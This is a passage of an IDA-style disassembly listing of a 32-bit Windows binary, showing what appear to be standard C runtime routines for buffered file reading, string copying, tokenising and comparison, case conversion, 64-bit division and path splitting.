sub_4134A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413580	proc near		; CODE XREF: sub_4040DB+4Ep
					; sub_405290+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_4135A4
		xor	eax, eax
		jmp	loc_41364D
; ---------------------------------------------------------------------------


loc_4135A4:				; CODE XREF: sub_413580+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4135B7
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_4135C3
; ---------------------------------------------------------------------------


loc_4135B7:				; CODE XREF: sub_413580+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_4135C3
; ---------------------------------------------------------------------------


loc_4135C0:				; CODE XREF: sub_413580+C4j
		mov	ecx, [ebp+arg_0]


loc_4135C3:				; CODE XREF: sub_413580+35j
					; sub_413580+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_4135F5
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4135F5
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_4135DA
		mov	edi, eax


loc_4135DA:				; CODE XREF: sub_413580+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_411FD0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_413640
; ---------------------------------------------------------------------------


loc_4135F5:				; CODE XREF: sub_413580+49j
					; sub_413580+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_413628
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41360B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41360B:				; CODE XREF: sub_413580+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_418259
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413652
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413658
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_413640
; ---------------------------------------------------------------------------


loc_413628:				; CODE XREF: sub_413580+78j
		push	esi
		call	sub_418180
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41365C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_413640:				; CODE XREF: sub_413580+73j
					; sub_413580+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_4135C0
		mov	eax, [ebp+arg_8]


loc_41364D:				; CODE XREF: sub_413580+1Fj
					; sub_413580+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413652:				; CODE XREF: sub_413580+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41365C
; ---------------------------------------------------------------------------


loc_413658:				; CODE XREF: sub_413580+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41365C:				; CODE XREF: sub_413580+B2j
					; sub_413580+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41364D
sub_413580	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413668	proc near		; CODE XREF: sub_404175+2B2p
					; .nsp0:00404853p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_413681:				; CODE XREF: sub_413668+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_413681
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4136A9
		mov	edx, dword_462BC0


loc_4136A9:				; CODE XREF: sub_413668+39j
					; sub_413668+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_4136C9
		test	al, al
		jz	short loc_4136C9
		inc	edx
		jmp	short loc_4136A9
; ---------------------------------------------------------------------------


loc_4136C9:				; CODE XREF: sub_413668+58j
					; sub_413668+5Cj
		mov	ebx, edx


loc_4136CB:				; CODE XREF: sub_413668+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_4136EF
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_4136EB
		inc	edx
		jmp	short loc_4136CB
; ---------------------------------------------------------------------------


loc_4136EB:				; CODE XREF: sub_413668+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_4136EF:				; CODE XREF: sub_413668+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_462BC0, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_413668	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413710	proc near		; CODE XREF: sub_404A02+1B4p
					; .nsp0:00405936p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_413793
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_413734
		shr	ecx, 2
		jnz	short loc_4137A1
		jmp	short loc_413755
; ---------------------------------------------------------------------------


loc_413734:				; CODE XREF: sub_413710+1Bj
					; sub_413710+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_413762
		test	al, al
		jz	short loc_41376A
		test	esi, 3
		jnz	short loc_413734
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4137A1


loc_413750:				; CODE XREF: sub_413710+8Fj
		and	ebx, 3
		jz	short loc_413762


loc_413755:				; CODE XREF: sub_413710+22j
					; sub_413710+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41378E
		dec	ebx
		jnz	short loc_413755


loc_413762:				; CODE XREF: sub_413710+2Bj
					; sub_413710+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41376A:				; CODE XREF: sub_413710+2Fj
		test	edi, 3
		jz	short loc_413784


loc_413772:				; CODE XREF: sub_413710+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_413806
		test	edi, 3
		jnz	short loc_413772


loc_413784:				; CODE XREF: sub_413710+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4137F7


loc_41378B:				; CODE XREF: sub_413710+7Fj
					; sub_413710+F4j
		mov	[edi], al
		inc	edi


loc_41378E:				; CODE XREF: sub_413710+4Dj
		dec	ebx
		jnz	short loc_41378B
		pop	ebx
		pop	esi


loc_413793:				; CODE XREF: sub_413710+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413799:				; CODE XREF: sub_413710+A9j
					; sub_413710+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_413750


loc_4137A1:				; CODE XREF: sub_413710+20j
					; sub_413710+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_413799
		test	dl, dl
		jz	short loc_4137EB
		test	dh, dh
		jz	short loc_4137E1
		test	edx, 0FF0000h
		jz	short loc_4137D7
		test	edx, 0FF000000h
		jnz	short loc_413799
		mov	[edi], edx
		jmp	short loc_4137EF
; ---------------------------------------------------------------------------


loc_4137D7:				; CODE XREF: sub_413710+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4137EF
; ---------------------------------------------------------------------------


loc_4137E1:				; CODE XREF: sub_413710+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4137EF
; ---------------------------------------------------------------------------


loc_4137EB:				; CODE XREF: sub_413710+ADj
		xor	edx, edx
		mov	[edi], edx


loc_4137EF:				; CODE XREF: sub_413710+C5j
					; sub_413710+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_413801


loc_4137F7:				; CODE XREF: sub_413710+79j
		xor	eax, eax


loc_4137F9:				; CODE XREF: sub_413710+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4137F9


loc_413801:				; CODE XREF: sub_413710+E5j
		and	ebx, 3
		jnz	short loc_41378B


loc_413806:				; CODE XREF: sub_413710+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_413710	endp


; =============== S U B	R O U T	I N E =======================================



sub_41380E	proc near		; CODE XREF: sub_405290+2E2p
					; sub_405290+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41388A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41382D
		cmp	edi, 1
		jz	short loc_41382D
		cmp	edi, 2
		jnz	short loc_41388A


loc_41382D:				; CODE XREF: sub_41380E+13j
					; sub_41380E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_413844
		push	esi
		call	sub_4184E9
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_413844:				; CODE XREF: sub_41380E+27j
		push	esi
		call	sub_414FB4
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_413859
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41386D
; ---------------------------------------------------------------------------


loc_413859:				; CODE XREF: sub_41380E+42j
		test	al, 1
		jz	short loc_41386D
		test	al, 8
		jz	short loc_41386D
		test	ah, 4
		jnz	short loc_41386D
		mov	dword ptr [esi+18h], 200h


loc_41386D:				; CODE XREF: sub_41380E+49j
					; sub_41380E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41844F
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_413897
; ---------------------------------------------------------------------------


loc_41388A:				; CODE XREF: sub_41380E+Bj
					; sub_41380E+1Dj
		mov	dword_462BC4, 16h
		or	eax, 0FFFFFFFFh


loc_413897:				; CODE XREF: sub_41380E+7Aj
		pop	edi
		pop	esi
		retn
sub_41380E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138A0	proc near		; CODE XREF: sub_405290+2ACp
					; sub_405290+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4138D1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4138CF
		jz	short loc_4138D1
		dec	ecx
		dec	ecx


loc_4138CF:				; CODE XREF: sub_4138A0+29j
		not	ecx


loc_4138D1:				; CODE XREF: sub_4138A0+9j
					; sub_4138A0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4138A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4138E0	proc near		; CODE XREF: sub_405787+5Cp
					; sub_405787+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_413994
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41390A


loc_4138FB:				; CODE XREF: sub_4138E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41393B
		test	edi, 3
		jnz	short loc_4138FB


loc_41390A:				; CODE XREF: sub_4138E0+19j
					; sub_4138E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41390A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_413948
		test	ah, ah
		jz	short loc_413943
		test	eax, 0FF0000h
		jz	short loc_41393E
		test	eax, 0FF000000h
		jnz	short loc_41390A


loc_41393B:				; CODE XREF: sub_4138E0+20j
		dec	edi
		jmp	short loc_41394B
; ---------------------------------------------------------------------------


loc_41393E:				; CODE XREF: sub_4138E0+52j
		sub	edi, 2
		jmp	short loc_41394B
; ---------------------------------------------------------------------------


loc_413943:				; CODE XREF: sub_4138E0+4Bj
		sub	edi, 3
		jmp	short loc_41394B
; ---------------------------------------------------------------------------


loc_413948:				; CODE XREF: sub_4138E0+47j
		sub	edi, 4


loc_41394B:				; CODE XREF: sub_4138E0+5Cj
					; sub_4138E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_413960
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4139AC
		jmp	short loc_41397C
; ---------------------------------------------------------------------------


loc_413960:				; CODE XREF: sub_4138E0+75j
					; sub_4138E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41399A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_413990
		test	esi, 3
		jnz	short loc_413960
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4139AC


loc_41397C:				; CODE XREF: sub_4138E0+7Ej
					; sub_4138E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_413990


loc_413983:				; CODE XREF: sub_4138E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_413992
		dec	ecx
		jnz	short loc_413983


loc_413990:				; CODE XREF: sub_4138E0+8Bj
					; sub_4138E0+A1j
		mov	[edi], cl


loc_413992:				; CODE XREF: sub_4138E0+ABj
		pop	ebx
		pop	esi


loc_413994:				; CODE XREF: sub_4138E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41399A:				; CODE XREF: sub_4138E0+85j
					; sub_4138E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4139A4:				; CODE XREF: sub_4138E0+E4j
					; sub_4138E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41397C


loc_4139AC:				; CODE XREF: sub_4138E0+7Cj
					; sub_4138E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4139A4
		test	dl, dl
		jz	short loc_41399A
		test	dh, dh
		jz	short loc_4139F8
		test	edx, 0FF0000h
		jz	short loc_4139E8
		test	edx, 0FF000000h
		jnz	short loc_4139A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4139E8:				; CODE XREF: sub_4138E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4139F8:				; CODE XREF: sub_4138E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4138E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A10	proc near		; CODE XREF: .nsp0:00405B6Ap
					; .nsp0:0040CFCFp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_413A31
		xor	eax, eax
		jmp	short loc_413A33
; ---------------------------------------------------------------------------


loc_413A31:				; CODE XREF: sub_413A10+1Bj
		mov	eax, edi


loc_413A33:				; CODE XREF: sub_413A10+1Fj
		cld
		pop	edi
		leave
		retn
sub_413A10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A37	proc near		; CODE XREF: sub_4079F8+6p
					; sub_407A16+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_462C58, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_413A64
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_413AFD
		cmp	eax, 5Ah
		jg	loc_413AFD
		add	eax, 20h
		jmp	loc_413AFD
; ---------------------------------------------------------------------------


loc_413A64:				; CODE XREF: sub_413A37+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_413A98
		cmp	dword_4316BC, esi
		jle	short loc_413A86
		push	esi
		push	ebx
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_413A90
; ---------------------------------------------------------------------------


loc_413A86:				; CODE XREF: sub_413A37+42j
		mov	eax, off_4314B0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_413A90:				; CODE XREF: sub_413A37+4Dj
		test	eax, eax
		jnz	short loc_413A98


loc_413A94:				; CODE XREF: sub_413A37+ADj
		mov	eax, ebx
		jmp	short loc_413AFD
; ---------------------------------------------------------------------------


loc_413A98:				; CODE XREF: sub_413A37+3Aj
					; sub_413A37+5Bj
		mov	edx, off_4314B0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_413ABC
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_413AC5
; ---------------------------------------------------------------------------


loc_413ABC:				; CODE XREF: sub_413A37+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_413AC5:				; CODE XREF: sub_413A37+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_462C58
		call	loc_418641
		add	esp, 20h
		test	eax, eax
		jz	short loc_413A94
		cmp	eax, esi
		jnz	short loc_413AF0
		movzx	eax, [ebp+var_4]
		jmp	short loc_413AFD
; ---------------------------------------------------------------------------


loc_413AF0:				; CODE XREF: sub_413A37+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_413AFD:				; CODE XREF: sub_413A37+16j
					; sub_413A37+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413A37	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413B10	proc near		; CODE XREF: sub_409684+2Dp
					; sub_41461C+5B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_413B31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_413B81
; ---------------------------------------------------------------------------


loc_413B31:				; CODE XREF: sub_413B10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_413B3F:				; CODE XREF: sub_413B10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_413B3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_413B6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_413B6A
		jb	short loc_413B72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_413B72


loc_413B6A:				; CODE XREF: sub_413B10+4Aj
					; sub_413B10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_413B72:				; CODE XREF: sub_413B10+52j
					; sub_413B10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_413B81:				; CODE XREF: sub_413B10+1Fj
		pop	ebx
		retn	10h
sub_413B10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413B90	proc near		; CODE XREF: sub_409684+3Fp
					; sub_41461C+5C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_413BB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_413BF3
; ---------------------------------------------------------------------------


loc_413BB2:				; CODE XREF: sub_413B90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_413BC0:				; CODE XREF: sub_413B90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_413BC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_413BEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_413BEE
		jb	short loc_413BEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_413BEF


loc_413BEE:				; CODE XREF: sub_413B90+4Ej
					; sub_413B90+54j
		dec	esi


loc_413BEF:				; CODE XREF: sub_413B90+56j
					; sub_413B90+5Cj
		xor	edx, edx
		mov	eax, esi


loc_413BF3:				; CODE XREF: sub_413B90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_413B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BF8	proc near		; CODE XREF: .nsp0:00409BF5p
					; .nsp0:0040ED69p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4126F0
		cmp	eax, 1
		pop	ecx
		jb	short loc_413C33
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_413C33
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_413C2F
		push	2
		push	ebx
		push	esi
		call	sub_418C70
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_413C2F:				; CODE XREF: sub_413BF8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_413C3D
; ---------------------------------------------------------------------------


loc_413C33:				; CODE XREF: sub_413BF8+18j
					; sub_413BF8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_413C3D
		and	byte ptr [eax],	0


loc_413C3D:				; CODE XREF: sub_413BF8+39j
					; sub_413BF8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_413CB5


loc_413C50:				; CODE XREF: sub_413BF8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_464101[edx], 4
		jz	short loc_413C61
		inc	eax
		jmp	short loc_413C7B
; ---------------------------------------------------------------------------


loc_413C61:				; CODE XREF: sub_413BF8+64j
		cmp	cl, 2Fh
		jz	short loc_413C75
		cmp	cl, 5Ch
		jz	short loc_413C75
		cmp	cl, 2Eh
		jnz	short loc_413C7B
		mov	[ebp+var_4], eax
		jmp	short loc_413C7B
; ---------------------------------------------------------------------------


loc_413C75:				; CODE XREF: sub_413BF8+6Cj
					; sub_413BF8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_413C7B:				; CODE XREF: sub_413BF8+67j
					; sub_413BF8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_413C50
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_413CB5
		cmp	[ebp+arg_8], 0
		jz	short loc_413CB0
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_413C99
		mov	edi, esi


loc_413C99:				; CODE XREF: sub_413BF8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_418C70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_413CB0:				; CODE XREF: sub_413BF8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_413CBF
; ---------------------------------------------------------------------------


loc_413CB5:				; CODE XREF: sub_413BF8+56j
					; sub_413BF8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_413CBF
		and	byte ptr [ecx],	0


loc_413CBF:				; CODE XREF: sub_413BF8+BBj
					; sub_413BF8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_413D12
		cmp	edi, ebx
		jb	short loc_413D12
		cmp	[ebp+arg_C], 0
		jz	short loc_413CEF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_413CD8
		mov	edi, esi


loc_413CD8:				; CODE XREF: sub_413BF8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_418C70
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_413CEF:				; CODE XREF: sub_413BF8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_413D3A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_413CFF
		mov	esi, eax


loc_413CFF:				; CODE XREF: sub_413BF8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_418C70
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_413D3A
; ---------------------------------------------------------------------------


loc_413D12:				; CODE XREF: sub_413BF8+CCj
					; sub_413BF8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_413D30
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_413D21
		mov	esi, eax


loc_413D21:				; CODE XREF: sub_413BF8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_418C70
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_413D30:				; CODE XREF: sub_413BF8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_413D3A
		and	byte ptr [eax],	0


loc_413D3A:				; CODE XREF: sub_413BF8+FCj
					; sub_413BF8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413BF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D3F	proc near		; CODE XREF: sub_408E8B+19p
					; sub_40F9AB+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
